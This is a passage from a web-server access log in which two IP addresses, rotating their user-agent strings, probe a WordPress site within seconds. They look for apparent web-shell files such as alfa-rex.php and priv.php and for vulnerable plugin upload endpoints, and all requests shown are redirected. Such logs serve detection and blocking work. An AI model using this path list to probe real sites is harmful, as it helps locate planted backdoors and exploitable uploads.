"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-admin/css/colors/ectoplasm/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:25:42 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-admin/css/colors/midnight/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:43 -0400] "GET /wp-content/uploads/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:25:43 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:43 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:43 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:43 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:43 -0400] "GET /wp-includes/PHPMailer/brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:43 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:43 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:25:43 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:43 -0400] "GET /wp-includes/widgets/class-wp-widget-media-audio-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:43 -0400] "GET /wp-admin/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:43 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-3bv4aS.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-admin/js/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-includes/ID3/favicon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-includes/js/codemirror/87.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-includes/block-template-utils.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:25:44 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:44 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:45 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:45 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:45 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:45 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.91 - - [23/Apr/2025:03:25:45 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:25:46 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:25:46 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:25:46 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:46 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:46 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:46 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:46 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:47 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:47 -0400] "GET /roundcube/static/common/user/uedit/php/controller.php?action=catchimage HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:47 -0400] "GET /wp-content/themes/deeto/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:25:47 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:48 -0400] "GET /wp-includes/css/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:48 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:48 -0400] "GET 